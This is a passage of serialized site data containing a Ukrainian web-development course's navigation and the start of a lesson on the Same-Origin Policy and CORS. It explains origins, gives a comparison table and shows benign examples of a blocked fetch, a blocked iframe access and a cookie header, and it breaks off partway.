функцій","\u002Fweb-development\u002Ftypescript-type-system\u002Ffunctions-typing","18.web-development\u002F03.typescript-type-system\u002F06.functions-typing",{"title":3643,"icon":2326,"path":3644,"stem":3645,"children":3646,"page":59},"Розширені засоби мови TypeScript","\u002Fweb-development\u002Ftypescript-advanced","18.web-development\u002F04.typescript-advanced",[3647,3651,3655,3659,3663,3667],{"title":3648,"path":3649,"stem":3650},"Interfaces та Classes","\u002Fweb-development\u002Ftypescript-advanced\u002Finterfaces-classes","18.web-development\u002F04.typescript-advanced\u002F01.interfaces-classes",{"title":3652,"path":3653,"stem":3654},"Основи Generic типів","\u002Fweb-development\u002Ftypescript-advanced\u002Fgenerics-fundamentals","18.web-development\u002F04.typescript-advanced\u002F02.generics-fundamentals",{"title":3656,"path":3657,"stem":3658},"Enums та Decorators","\u002Fweb-development\u002Ftypescript-advanced\u002Fenums-decorators","18.web-development\u002F04.typescript-advanced\u002F03.enums-decorators",{"title":3660,"path":3661,"stem":3662},"Utility Types","\u002Fweb-development\u002Ftypescript-advanced\u002Futility-types","18.web-development\u002F04.typescript-advanced\u002F04.utility-types",{"title":3664,"path":3665,"stem":3666},"Mapped та Conditional Types","\u002Fweb-development\u002Ftypescript-advanced\u002Fmapped-conditional-types","18.web-development\u002F04.typescript-advanced\u002F05.mapped-conditional-types",{"title":3668,"path":3669,"stem":3670},"Модулі та Strict Mode","\u002Fweb-development\u002Ftypescript-advanced\u002Fmodules-strict-mode","18.web-development\u002F04.typescript-advanced\u002F06.modules-strict-mode",{"title":3672,"path":3673,"stem":3674,"children":3675,"page":59},"Tailwind","\u002Ftailwind","21.tailwind",[3676,3680,3684,3688,3692,3696,3700,3704,3708,3712,3716,3720],{"title":3677,"path":3678,"stem":3679},"Що таке Tailwind CSS і навіщо він потрібен","\u002Ftailwind\u002Ftailwind-intro-philosophy","21.tailwind\u002F01.tailwind-intro-philosophy",{"title":3681,"path":3682,"stem":3683},"Встановлення та налаштування Tailwind CSS v4","\u002Ftailwind\u002Ftailwind-installation-setup","21.tailwind\u002F02.tailwind-installation-setup",{"title":3685,"path":3686,"stem":3687},"Utility-класи: основи та система Tailwind","\u002Ftailwind\u002Ftailwind-utility-classes-core","21.tailwind\u002F03.tailwind-utility-classes-core",{"title":3689,"path":3690,"stem":3691},"Layout: Flexbox та Grid через Tailwind","\u002Ftailwind\u002Ftailwind-flexbox-grid","21.tailwind\u002F04.tailwind-flexbox-grid",{"title":3693,"path":3694,"stem":3695},"Кастомізація теми через @theme у Tailwind v4","\u002Ftailwind\u002Ftailwind-theme-customization","21.tailwind\u002F05.tailwind-theme-customization",{"title":3697,"path":3698,"stem":3699},"Варіанти: hover, focus, responsive, dark mode та нові v4","\u002Ftailwind\u002Ftailwind-variants-states","21.tailwind\u002F06.tailwind-variants-states",{"title":3701,"path":3702,"stem":3703},"Типографіка та система кольорів у Tailwind v4","\u002Ftailwind\u002Ftailwind-typography-colors","21.tailwind\u002F07.tailwind-typography-colors",{"title":3705,"path":3706,"stem":3707},"Компоненти та повторюваність: @apply, @utility та патерни","\u002Ftailwind\u002Ftailwind-components-patterns","21.tailwind\u002F08.tailwind-components-patterns",{"title":3709,"path":3710,"stem":3711},"Темна тема та система дизайн-токенів у Tailwind v4","\u002Ftailwind\u002Ftailwind-dark-mode-theming","21.tailwind\u002F09.tailwind-dark-mode-theming",{"title":3713,"path":3714,"stem":3715},"Довільні значення та контейнерні запити у Tailwind v4","\u002Ftailwind\u002Ftailwind-arbitrary-container-queries","21.tailwind\u002F10.tailwind-arbitrary-container-queries",{"title":3717,"path":3718,"stem":3719},"Анімації, трансформації та 3D у Tailwind v4","\u002Ftailwind\u002Ftailwind-animations-transforms","21.tailwind\u002F11.tailwind-animations-transforms",{"title":3721,"path":3722,"stem":3723},"Tailwind CLI, PostCSS та інтеграція з фреймворками","\u002Ftailwind\u002Ftailwind-cli-tooling","21.tailwind\u002F12.tailwind-cli-tooling",{"title":3725,"path":3726,"stem":3727},"Тестування компонентів діаграм","\u002Ftest-components","98.test-components",{"id":3729,"title":3606,"body":3730,"description":4210,"extension":13566,"links":13567,"meta":13568,"navigation":5428,"path":3607,"seo":13569,"stem":3608,"__hash__":13570},"docs\u002F18.web-development\u002F02.http-and-https\u002F07.cors-and-security.md",{"type":3731,"value":3732,"toc":13536},"minimark",[3733,3737,3830,3833,3838,3843,3861,3880,3903,3907,3918,3973,3987,3992,4004,4136,4170,4174,4177,4181,4194,4199,4204,4440,4445,4453,4474,4491,4495,4505,4510,4516,4757,4770,4774,4783,4787,4792,4809,4817,4849,4869,4873,4884,5017,5085,5087,5090,5094,5105,5137,5151,5161,5165,5186,5192,5274,5285,5289,5300,5305,5365,5372,5377,5496,5501,5514,5519,5599,5603,5613,5618,5681,5687,5704,5708,5727,5730,5794,5798,5828,5832,5841,5846,5946,5953,5966,5971,6033,6038,6057,6062,6129,6134,6164,6169,6172,6201,6207,6293,6298,6386,6391,6514,6529,6533,6540,6544,6550,6555,6595,6602,6622,6627,6701,6705,6727,6731,6742,6747,6782,6787,6839,6847,6852,6949,6954,6980,6985,7073,7100,7104,7339,8308,8310,8314,8325,8329,8343,8365,8369,8380,8385,8399,8403,8408,8411,8425,8435,8440,8443,8457,8462,8476,8481,8497,8502,8537,8542,8545,8559,8564,8578,8582,8599,8604,8618,8623,8626,8640,8650,8655,8669,8672,8686,8700,8707,8711,8716,8721,8896,8901,8961,8965,8975,8980,8994,8999,9043,9049,9168,9172,9179,9184,9199,9209,9214,9309,9350,9354,9374,9378,9386,9392,9428,9434,9443,9460,9469,9473,9479,9493,9496,9502,9516,9530,9549,9555,9568,9578,9594,9599,9623,9627,9638,9643,9659,9664,9686,9690,9693,9698,9718,9727,9741,9744,9748,9757,9773,9777,9782,9796,9801,9806,9820,9826,9842,9847,9861,9872,9876,9881,9893,9896,9908,9919,9951,9956,9970,9974,9995,10001,10006,10021,10035,10039,10044,10099,10102,10107,10168,10171,10183,10187,10196,10210,10218,10222,10364,10368,10402,10414,10416,10420,10423,10440,10444,10447,10452,10479,10484,10490,10496,10500,10503,10508,10551,10554,10557,10560,10565,10669,10673,10679,10688,10692,10697,10703,10708,10846,10851,10854,10868,10873,10881,10895,10900,10912,10960,10964,10973,10977,10984,10992,11185,11190,11204,11208,11213,11216,11221,11226,11355,11360,11505,11514,11519,11528,11542,11553,11568,11573,11581,11755,11760,11767,11770,11775,11779,11784,12060,12063,12067,12072,12084,12086,12098,12103,12116,12121,12166,12169,12171,12175,12180,12482,12612,12614,12618,12850,12853,12962,13490,13492,13494,13498,13523,13533],[3734,3735,3606],"h1",{"id":3736},"cors-та-механізми-безпеки-http",[3738,3739,3740,3773],"card-group",{},[3741,3742,3745],"card",{"icon":3743,"title":3744},"i-lucide-target","🎯 Мета розділу",[3746,3747,3748,3757,3764,3767,3770],"ul",{},[3749,3750,3751,3752,3756],"li",{},"Опанувати концепцію політики одного джерела (",[3753,3754,3755],"em",{},"Same-Origin Policy",") та причини її виникнення у веб-безпеці.",[3749,3758,3759,3760,3763],{},"Зрозуміти механізм CORS (",[3753,3761,3762],{},"Cross-Origin Resource Sharing",") як контрольований спосіб обходу SOP для міждоменної взаємодії.",[3749,3765,3766],{},"Навчитися налаштовувати CORS-заголовки для різних сценаріїв (публічні API, автентифіковані запити, preflight-запити).",[3749,3768,3769],{},"Засвоїти ключові заголовки безпеки HTTP (CSP, HSTS, X-Frame-Options) та їхню роль у захисті від атак.",[3749,3771,3772],{},"Розібрати типові вектори атак (XSS, CSRF, Clickjacking) та методи їхнього запобігання через HTTP-заголовки.",[3741,3774,3777],{"icon":3775,"title":3776},"i-lucide-key","🔑 Ключові терміни",[3746,3778,3779,3786,3797,3803,3809,3815,3821],{},[3749,3780,3781,3785],{},[3782,3783,3784],"strong",{},"Same-Origin Policy (SOP)"," — політика одного джерела, фундаментальний механізм безпеки браузера, що обмежує взаємодію між ресурсами з різних джерел.",[3749,3787,3788,3791,3792,3796],{},[3782,3789,3790],{},"Origin (Джерело)"," — комбінація схеми протоколу (HTTP\u002FHTTPS), домену та порту. Наприклад: ",[3793,3794,3795],"code",{},"https:\u002F\u002Fexample.com:443",".",[3749,3798,3799,3802],{},[3782,3800,3801],{},"CORS (Cross-Origin Resource Sharing)"," — механізм на основі HTTP-заголовків, що дозволяє серверу явно вказати, які домени мають доступ до його ресурсів.",[3749,3804,3805,3808],{},[3782,3806,3807],{},"Preflight Request"," — попередній OPTIONS-запит, який браузер автоматично надсилає перед фактичним запитом для перевірки дозволів CORS.",[3749,3810,3811,3814],{},[3782,3812,3813],{},"Credentials"," — облікові дані (cookies, HTTP-автентифікація, TLS-сертифікати клієнта), що передаються у міждоменних запитах.",[3749,3816,3817,3820],{},[3782,3818,3819],{},"CSP (Content Security Policy)"," — політика безпеки вмісту, що обмежує джерела, з яких сторінка може завантажувати ресурси (скрипти, стилі, зображення).",[3749,3822,3823,3826,3827,3796],{},[3782,3824,3825],{},"HSTS (HTTP Strict Transport Security)"," — механізм примусового використання HTTPS для захисту від атак типу ",[3753,3828,3829],{},"protocol downgrade",[3831,3832],"hr",{},[3834,3835,3837],"h2",{"id":3836},"політика-одного-джерела-same-origin-policy","Політика одного джерела (Same-Origin Policy)",[3839,3840,3842],"h3",{"id":3841},"концептуальний-фундамент-веб-безпеки","Концептуальний фундамент веб-безпеки",[3844,3845,3846,3848,3849,3852,3853,3856,3857,3860],"p",{},[3782,3847,3784],{}," є одним з найважливіших механізмів безпеки сучасного веб-браузера. Ця політика була запроваджена у ранніх версіях браузера Netscape Navigator у середині 1990-х років як відповідь на зростаючі загрози безпеці веб-застосунків. Сутність SOP полягає у тому, що ",[3782,3850,3851],{},"скрипти, завантажені з одного джерела (origin), не можуть читати або модифікувати дані з іншого джерела"," без явного дозволу. Це фундаментальне обмеження запобігає зловмисному коду на сторінці ",[3793,3854,3855],{},"https:\u002F\u002Fattacker.com"," отримати доступ до персональних даних користувача на ",[3793,3858,3859],{},"https:\u002F\u002Fbank.com",", якщо обидві вкладки відкриті одночасно у браузері.",[3844,3862,3863,3864,3867,3868,3871,3872,3875,3876,3879],{},"Політика одного джерела застосовується до ",[3782,3865,3866],{},"усіх форм взаємодії між документами через JavaScript API",": XMLHttpRequest, Fetch API, доступ до DOM через ",[3793,3869,3870],{},"iframe",", читання cookies через ",[3793,3873,3874],{},"document.cookie",", доступ до LocalStorage та SessionStorage. Без SOP зловмисний сайт міг би легко викрасти автентифікаційні токени, прочитати особисту кореспонденцію або виконати несанкціоновані операції від імені користувача на довірених сайтах. Таким чином, SOP є ",[3782,3877,3878],{},"першою лінією оборони"," у моделі безпеки веб-браузерів, яка ізолює контексти виконання коду з різних джерел.",[3844,3881,3882,3883,3886,3887,3890,3891,3894,3895,3898,3899,3902],{},"Проте у сучасних розподілених веб-застосунках часто виникає ",[3782,3884,3885],{},"легітимна потреба"," у міждоменній взаємодії. Наприклад, фронтенд-застосунок, розміщений на ",[3793,3888,3889],{},"https:\u002F\u002Fapp.example.com",", повинен мати можливість звертатися до REST API на ",[3793,3892,3893],{},"https:\u002F\u002Fapi.example.com"," або до стороннього сервісу оплати на ",[3793,3896,3897],{},"https:\u002F\u002Fpayments.stripe.com",". Саме для ",[3782,3900,3901],{},"контрольованого та безпечного обходу"," обмежень SOP було розроблено механізм CORS (Cross-Origin Resource Sharing), який дозволяє серверу явно оголосити, які домени мають право читати його відповіді.",[3839,3904,3906],{"id":3905},"визначення-джерела-origin","Визначення джерела (Origin)",[3844,3908,3909,3910,3913,3914,3917],{},"У контексті Same-Origin Policy ",[3782,3911,3912],{},"джерело (origin)"," визначається комбінацією ",[3782,3915,3916],{},"трьох компонентів",":",[3919,3920,3921,3935,3957],"ol",{},[3749,3922,3923,3926,3927,3930,3931,3934],{},[3782,3924,3925],{},"Схема протоколу"," (",[3753,3928,3929],{},"scheme"," або ",[3753,3932,3933],{},"protocol","): HTTP, HTTPS, FTP, WebSocket (ws, wss) тощо.",[3749,3936,3937,3926,3940,3930,3943,3946,3947,3950,3951,3950,3954,3796],{},[3782,3938,3939],{},"Доменне ім'я хоста",[3753,3941,3942],{},"host",[3753,3944,3945],{},"domain","): ",[3793,3948,3949],{},"example.com",", ",[3793,3952,3953],{},"api.example.com",[3793,3955,3956],{},"localhost",[3749,3958,3959,3926,3962,3946,3965,3968,3969,3972],{},[3782,3960,3961],{},"Порт",[3753,3963,3964],{},"port",[3793,3966,3967],{},"80"," (за замовчуванням для HTTP), ",[3793,3970,3971],{},"443"," (за замовчуванням для HTTPS), або будь-який інший явно вказаний порт.",[3844,3974,3975,3976,3979,3980,3983,3984,3796],{},"Два URL вважаються таким, що ",[3782,3977,3978],{},"належать до одного джерела (same-origin)",", якщо всі три компоненти ",[3782,3981,3982],{},"ідентичні",". Навіть незначна відмінність у будь-якому з цих елементів робить джерела ",[3782,3985,3986],{},"різними (cross-origin)",[3988,3989,3991],"h4",{"id":3990},"приклади-порівняння-джерел","Приклади порівняння джерел",[3844,3993,3994,3995,3998,4001],{},"Розглянемо ",[3782,3996,3997],{},"базове джерело:",[3999,4000],"br",{},[3793,4002,4003],{},"https:\u002F\u002Fexample.com\u002Fpage.html",[4005,4006,4007,4023],"table",{},[4008,4009,4010],"thead",{},[4011,4012,4013,4017,4020],"tr",{},[4014,4015,4016],"th",{},"URL",[4014,4018,4019],{},"Same-Origin?",[4014,4021,4022],{},"Пояснення",[4024,4025,4026,4043,4057,4076,4098,4115],"tbody",{},[4011,4027,4028,4034,4040],{},[4029,4030,4031],"td",{},[3793,4032,4033],{},"https:\u002F\u002Fexample.com\u002Fapi\u002Fusers",[4029,4035,4036,4037],{},"✅ ",[3782,4038,4039],{},"Так",[4029,4041,4042],{},"Однакові схема, домен, порт (443 за замовчуванням)",[4011,4044,4045,4050,4054],{},[4029,4046,4047],{},[3793,4048,4049],{},"https:\u002F\u002Fexample.com:443\u002Fdashboard",[4029,4051,4036,4052],{},[3782,4053,4039],{},[4029,4055,4056],{},"Порт 443 за замовчуванням для HTTPS",[4011,4058,4059,4064,4070],{},[4029,4060,4061],{},[3793,4062,4063],{},"http:\u002F\u002Fexample.com\u002Fpage.html",[4029,4065,4066,4067],{},"❌ ",[3782,4068,4069],{},"Ні",[4029,4071,4072,4075],{},[3782,4073,4074],{},"Різна схема:"," HTTPS vs HTTP",[4011,4077,4078,4083,4087],{},[4029,4079,4080],{},[3793,4081,4082],{},"https:\u002F\u002Fapi.example.com\u002Fdata",[4029,4084,4066,4085],{},[3782,4086,4069],{},[4029,4088,4089,4092,4093,4095,4096],{},[3782,4090,4091],{},"Різний субдомен:"," ",[3793,4094,3949],{}," vs ",[3793,4097,3953],{},[4011,4099,4100,4105,4109],{},[4029,4101,4102],{},[3793,4103,4104],{},"https:\u002F\u002Fexample.com:8080\u002Fapi",[4029,4106,4066,4107],{},[3782,4108,4069],{},[4029,4110,4111,4114],{},[3782,4112,4113],{},"Різний порт:"," 443 (за замовчуванням) vs 8080",[4011,4116,4117,4122,4126],{},[4029,4118,4119],{},[3793,4120,4121],{},"https:\u002F\u002Fexample.org\u002Fpage.html",[4029,4123,4066,4124],{},[3782,4125,4069],{},[4029,4127,4128,4092,4131,4095,4133],{},[3782,4129,4130],{},"Різний домен:",[3793,4132,3949],{},[3793,4134,4135],{},"example.org",[4137,4138,4139,4142,4144,4145,4148,4149,4152,4153,4156,4157,4148,4159,4162,4163,4165,4166,4169],"warning",{},[3782,4140,4141],{},"Поширена помилка розробників:",[3999,4143],{},"\nБагато початківців помилково вважають, що ",[3793,4146,4147],{},"http:\u002F\u002Fexample.com"," та ",[3793,4150,4151],{},"https:\u002F\u002Fexample.com"," є одним джерелом, оскільки домен співпадає. Насправді це ",[3782,4154,4155],{},"різні джерела",", оскільки відрізняється схема протоколу (HTTP vs HTTPS). Аналогічно, ",[3793,4158,3949],{},[3793,4160,4161],{},"www.example.com"," — це ",[3782,4164,4155],{},", оскільки ",[3793,4167,4168],{},"www"," є субдоменом.",[3839,4171,4173],{"id":4172},"що-обмежує-same-origin-policy","Що обмежує Same-Origin Policy?",[3844,4175,4176],{},"SOP застосовується до наступних типів взаємодії між документами:",[3988,4178,4180],{"id":4179},"ajax-запити-xmlhttprequest-fetch-api","AJAX-запити (XMLHttpRequest, Fetch API)",[3844,4182,4183,4184,4092,4186,4189,4190,4193],{},"Скрипт на сторінці ",[3793,4185,3889],{},[3782,4187,4188],{},"не може"," прочитати відповідь від ",[3793,4191,4192],{},"https:\u002F\u002Fapi.another-domain.com"," без дозволу CORS.",[3844,4195,4196],{},[3782,4197,4198],{},"Приклад заблокованого запиту:",[3844,4200,4201,4202,3917],{},"Сторінка завантажена з ",[3793,4203,3889],{},[4205,4206,4211],"pre",{"className":4207,"code":4208,"language":4209,"meta":4210,"style":4210},"language-html shiki shiki-themes light-plus dark-plus dark-plus","\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Chead>\u003Ctitle>App\u003C\u002Ftitle>\u003C\u002Fhead>\n\u003Cbody>\n\u003Cscript>\n\u002F\u002F Спроба звернутися до іншого домену\nfetch('https:\u002F\u002Fapi.another-domain.com\u002Fdata')\n  .then(response => response.json())\n  .then(data => console.log(data))\n  .catch(error => console.error('CORS blocked:', error));\n\u003C\u002Fscript>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n","html","",[3793,4212,4213,4233,4243,4276,4286,4296,4303,4321,4351,4380,4413,4422,4431],{"__ignoreMap":4210},[4214,4215,4218,4222,4226,4230],"span",{"class":4216,"line":4217},"line",1,[4214,4219,4221],{"class":4220},"s0P7L","\u003C!",[4214,4223,4225],{"class":4224},"sKtos","DOCTYPE",[4214,4227,4229],{"class":4228},"sa4r_"," html",[4214,4231,4232],{"class":4220},">\n",[4214,4234,4236,4239,4241],{"class":4216,"line":4235},2,[4214,4237,4238],{"class":4220},"\u003C",[4214,4240,4209],{"class":4224},[4214,4242,4232],{"class":4220},[4214,4244,4246,4248,4251,4254,4257,4260,4264,4267,4269,4272,4274],{"class":4216,"line":4245},3,[4214,4247,4238],{"class":4220},[4214,4249,4250],{"class":4224},"head",[4214,4252,4253],{"class":4220},">\u003C",[4214,4255,4256],{"class":4224},"title",[4214,4258,4259],{"class":4220},">",[4214,4261,4263],{"class":4262},"sHH4Y","App",[4214,4265,4266],{"class":4220},"\u003C\u002F",[4214,4268,4256],{"class":4224},[4214,4270,4271],{"class":4220},">\u003C\u002F",[4214,4273,4250],{"class":4224},[4214,4275,4232],{"class":4220},[4214,4277,4279,4281,4284],{"class":4216,"line":4278},4,[4214,4280,4238],{"class":4220},[4214,4282,4283],{"class":4224},"body",[4214,4285,4232],{"class":4220},[4214,4287,4289,4291,4294],{"class":4216,"line":4288},5,[4214,4290,4238],{"class":4220},[4214,4292,4293],{"class":4224},"script",[4214,4295,4232],{"class":4220},[4214,4297,4299],{"class":4216,"line":4298},6,[4214,4300,4302],{"class":4301},"spJ8K","\u002F\u002F Спроба звернутися до іншого домену\n",[4214,4304,4306,4310,4314,4318],{"class":4216,"line":4305},7,[4214,4307,4309],{"class":4308},"s8Opu","fetch",[4214,4311,4313],{"class":4312},"sD7JJ","(",[4214,4315,4317],{"class":4316},"sbdoH","'https:\u002F\u002Fapi.another-domain.com\u002Fdata'",[4214,4319,4320],{"class":4312},")\n",[4214,4322,4324,4327,4330,4332,4336,4340,4343,4345,4348],{"class":4216,"line":4323},8,[4214,4325,4326],{"class":4312},"  .",[4214,4328,4329],{"class":4308},"then",[4214,4331,4313],{"class":4312},[4214,4333,4335],{"class":4334},"siwwj","response",[4214,4337,4339],{"class":4338},"su1O8"," =>",[4214,4341,4342],{"class":4334}," response",[4214,4344,3796],{"class":4312},[4214,4346,4347],{"class":4308},"json",[4214,4349,4350],{"class":4312},"())\n",[4214,4352,4354,4356,4358,4360,4363,4365,4368,4370,4373,4375,4377],{"class":4216,"line":4353},9,[4214,4355,4326],{"class":4312},[4214,4357,4329],{"class":4308},[4214,4359,4313],{"class":4312},[4214,4361,4362],{"class":4334},"data",[4214,4364,4339],{"class":4338},[4214,4366,4367],{"class":4334}," console",[4214,4369,3796],{"class":4312},[4214,4371,4372],{"class":4308},"log",[4214,4374,4313],{"class":4312},[4214,4376,4362],{"class":4334},[4214,4378,4379],{"class":4312},"))\n",[4214,4381,4383,4385,4388,4390,4393,4395,4397,4399,4401,4403,4406,4408,4410],{"class":4216,"line":4382},10,[4214,4384,4326],{"class":4312},[4214,4386,4387],{"class":4308},"catch",[4214,4389,4313],{"class":4312},[4214,4391,4392],{"class":4334},"error",[4214,4394,4339],{"class":4338},[4214,4396,4367],{"class":4334},[4214,4398,3796],{"class":4312},[4214,4400,4392],{"class":4308},[4214,4402,4313],{"class":4312},[4214,4404,4405],{"class":4316},"'CORS blocked:'",[4214,4407,3950],{"class":4312},[4214,4409,4392],{"class":4334},[4214,4411,4412],{"class":4312},"));\n",[4214,4414,4416,4418,4420],{"class":4216,"line":4415},11,[4214,4417,4266],{"class":4220},[4214,4419,4293],{"class":4224},[4214,4421,4232],{"class":4220},[4214,4423,4425,4427,4429],{"class":4216,"line":4424},12,[4214,4426,4266],{"class":4220},[4214,4428,4283],{"class":4224},[4214,4430,4232],{"class":4220},[4214,4432,4434,4436,4438],{"class":4216,"line":4433},13,[4214,4435,4266],{"class":4220},[4214,4437,4209],{"class":4224},[4214,4439,4232],{"class":4220},[3844,4441,4442],{},[3782,4443,4444],{},"Результат у консолі браузера:",[4205,4446,4451],{"className":4447,"code":4449,"language":4450},[4448],"language-text","Access to fetch at 'https:\u002F\u002Fapi.another-domain.com\u002Fdata' from origin 'https:\u002F\u002Fapp.example.com' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.\n","text",[3793,4452,4449],{"__ignoreMap":4210},[3844,4454,4455,4456,4459,4460,4148,4463,4466,4467,4470,4471,3796],{},"Браузер ",[3782,4457,4458],{},"виконує запит"," до сервера ",[3793,4461,4462],{},"api.another-domain.com",[3782,4464,4465],{},"отримує відповідь",", але ",[3782,4468,4469],{},"блокує доступ JavaScript до відповіді",", оскільки сервер не надіслав заголовок ",[3793,4472,4473],{},"Access-Control-Allow-Origin",[4475,4476,4477,4480,4482,4483,4486,4487,4490],"note",{},[3782,4478,4479],{},"Важлива деталь:",[3999,4481],{},"\nЗапит ",[3782,4484,4485],{},"фактично досягає сервера",", і сервер обробляє його та повертає відповідь. Блокування відбувається ",[3782,4488,4489],{},"на стороні браузера"," після отримання відповіді. Тобто, навіть якщо CORS заблоковано, сервер може виконати операцію (наприклад, створити запис у базі даних). Це важливо розуміти для розробки безпечних API.",[3988,4492,4494],{"id":4493},"доступ-до-dom-через-iframe","Доступ до DOM через iframe",[3844,4496,4497,4498,4500,4501,4504],{},"Скрипт на головній сторінці ",[3782,4499,4188],{}," читати або модифікувати вміст ",[3793,4502,4503],{},"\u003Ciframe>",", завантаженого з іншого джерела.",[3844,4506,4507],{},[3782,4508,4509],{},"Приклад:",[3844,4511,4512,4513,3917],{},"Сторінка ",[3793,4514,4515],{},"https:\u002F\u002Fparent.com\u002Findex.html",[4205,4517,4519],{"className":4207,"code":4518,"language":4209,"meta":4210,"style":4210},"\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Cbody>\n\u003Ciframe id=\"frame\" src=\"https:\u002F\u002Fchild.com\u002Fcontent.html\">\u003C\u002Fiframe>\n\u003Cscript>\n\u002F\u002F Спроба доступу до DOM iframe з іншого джерела\nconst iframe = document.getElementById('frame');\ntry {\n  const iframeDoc = iframe.contentDocument; \u002F\u002F Блокується SOP\n  console.log(iframeDoc.body.innerHTML);\n} catch (error) {\n  console.error('SOP blocked:', error.message);\n  \u002F\u002F DOMException: Blocked a frame with origin \"https:\u002F\u002Fparent.com\" \n  \u002F\u002F from accessing a cross-origin frame.\n}\n\u003C\u002Fscript>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n",[3793,4520,4521,4531,4539,4547,4577,4585,4590,4618,4627,4650,4675,4689,4713,4718,4724,4730,4739,4748],{"__ignoreMap":4210},[4214,4522,4523,4525,4527,4529],{"class":4216,"line":4217},[4214,4524,4221],{"class":4220},[4214,4526,4225],{"class":4224},[4214,4528,4229],{"class":4228},[4214,4530,4232],{"class":4220},[4214,4532,4533,4535,4537],{"class":4216,"line":4235},[4214,4534,4238],{"class":4220},[4214,4536,4209],{"class":4224},[4214,4538,4232],{"class":4220},[4214,4540,4541,4543,4545],{"class":4216,"line":4245},[4214,4542,4238],{"class":4220},[4214,4544,4283],{"class":4224},[4214,4546,4232],{"class":4220},[4214,4548,4549,4551,4553,4556,4559,4563,4566,4568,4571,4573,4575],{"class":4216,"line":4278},[4214,4550,4238],{"class":4220},[4214,4552,3870],{"class":4224},[4214,4554,4555],{"class":4228}," id",[4214,4557,4558],{"class":4262},"=",[4214,4560,4562],{"class":4561},"su9tN","\"frame\"",[4214,4564,4565],{"class":4228}," src",[4214,4567,4558],{"class":4262},[4214,4569,4570],{"class":4561},"\"https:\u002F\u002Fchild.com\u002Fcontent.html\"",[4214,4572,4271],{"class":4220},[4214,4574,3870],{"class":4224},[4214,4576,4232],{"class":4220},[4214,4578,4579,4581,4583],{"class":4216,"line":4288},[4214,4580,4238],{"class":4220},[4214,4582,4293],{"class":4224},[4214,4584,4232],{"class":4220},[4214,4586,4587],{"class":4216,"line":4298},[4214,4588,4589],{"class":4301},"\u002F\u002F Спроба доступу до DOM iframe з іншого джерела\n",[4214,4591,4592,4595,4599,4602,4605,4607,4610,4612,4615],{"class":4216,"line":4305},[4214,4593,4594],{"class":4338},"const",[4214,4596,4598],{"class":4597},"s-QsJ"," iframe",[4214,4600,4601],{"class":4262}," =",[4214,4603,4604],{"class":4334}," document",[4214,4606,3796],{"class":4312},[4214,4608,4609],{"class":4308},"getElementById",[4214,4611,4313],{"class":4312},[4214,4613,4614],{"class":4316},"'frame'",[4214,4616,4617],{"class":4312},");\n",[4214,4619,4620,4624],{"class":4216,"line":4323},[4214,4621,4623],{"class":4622},"s8xlr","try",[4214,4625,4626],{"class":4312}," {\n",[4214,4628,4629,4632,4635,4637,4639,4641,4644,4647],{"class":4216,"line":4353},[4214,4630,4631],{"class":4338},"  const",[4214,4633,4634],{"class":4597}," iframeDoc",[4214,4636,4601],{"class":4262},[4214,4638,4598],{"class":4334},[4214,4640,3796],{"class":4312},[4214,4642,4643],{"class":4334},"contentDocument",[4214,4645,4646],{"class":4312},"; ",[4214,4648,4649],{"class":4301},"\u002F\u002F Блокується SOP\n",[4214,4651,4652,4655,4657,4659,4661,4664,4666,4668,4670,4673],{"class":4216,"line":4382},[4214,4653,4654],{"class":4334},"  console",[4214,4656,3796],{"class":4312},[4214,4658,4372],{"class":4308},[4214,4660,4313],{"class":4312},[4214,4662,4663],{"class":4334},"iframeDoc",[4214,4665,3796],{"class":4312},[4214,4667,4283],{"class":4334},[4214,4669,3796],{"class":4312},[4214,4671,4672],{"class":4334},"innerHTML",[4214,4674,4617],{"class":4312},[4214,4676,4677,4680,4682,4684,4686],{"class":4216,"line":4415},[4214,4678,4679],{"class":4312},"} ",[4214,4681,4387],{"class":4622},[4214,4683,3926],{"class":4312},[4214,4685,4392],{"class":4334},[4214,4687,4688],{"class":4312},") {\n",[4214,4690,4691,4693,4695,4697,4699,4702,4704,4706,4708,4711],{"class":4216,"line":4424},[4214,4692,4654],{"class":4334},[4214,4694,3796],{"class":4312},[4214,4696,4392],{"class":4308},[4214,4698,4313],{"class":4312},[4214,4700,4701],{"class":4316},"'SOP blocked:'",[4214,4703,3950],{"class":4312},[4214,4705,4392],{"class":4334},[4214,4707,3796],{"class":4312},[4214,4709,4710],{"class":4334},"message",[4214,4712,4617],{"class":4312},[4214,4714,4715],{"class":4216,"line":4433},[4214,4716,4717],{"class":4301},"  \u002F\u002F DOMException: Blocked a frame with origin \"https:\u002F\u002Fparent.com\" \n",[4214,4719,4721],{"class":4216,"line":4720},14,[4214,4722,4723],{"class":4301},"  \u002F\u002F from accessing a cross-origin frame.\n",[4214,4725,4727],{"class":4216,"line":4726},15,[4214,4728,4729],{"class":4312},"}\n",[4214,4731,4733,4735,4737],{"class":4216,"line":4732},16,[4214,4734,4266],{"class":4220},[4214,4736,4293],{"class":4224},[4214,4738,4232],{"class":4220},[4214,4740,4742,4744,4746],{"class":4216,"line":4741},17,[4214,4743,4266],{"class":4220},[4214,4745,4283],{"class":4224},[4214,4747,4232],{"class":4220},[4214,4749,4751,4753,4755],{"class":4216,"line":4750},18,[4214,4752,4266],{"class":4220},[4214,4754,4209],{"class":4224},[4214,4756,4232],{"class":4220},[3844,4758,4759,4760,4762,4763,4766,4767,3796],{},"Аналогічно, скрипт усередині ",[3793,4761,3870],{}," з ",[3793,4764,4765],{},"https:\u002F\u002Fchild.com"," не може отримати доступ до DOM батьківської сторінки ",[3793,4768,4769],{},"https:\u002F\u002Fparent.com",[3988,4771,4773],{"id":4772},"читання-cookies-через-documentcookie","Читання cookies через document.cookie",[3844,4775,4776,4777,4092,4779,4782],{},"Cookies встановлені для домену ",[3793,4778,3949],{},[3782,4780,4781],{},"недоступні"," скриптам з інших доменів.",[3844,4784,4785],{},[3782,4786,4509],{},[3844,4788,4512,4789,4791],{},[3793,4790,3889],{}," встановила cookie:",[4205,4793,4797],{"className":4794,"code":4795,"language":4796,"meta":4210,"style":4210},"language-http shiki shiki-themes light-plus dark-plus dark-plus","Set-Cookie: sessionId=abc123; Domain=example.com; Secure; HttpOnly\n","http",[3793,4798,4799],{"__ignoreMap":4210},[4214,4800,4801,4804,4806],{"class":4216,"line":4217},[4214,4802,4803],{"class":4224},"Set-Cookie",[4214,4805,3917],{"class":4338},[4214,4807,4808],{"class":4316}," sessionId=abc123; Domain=example.com; Secure; 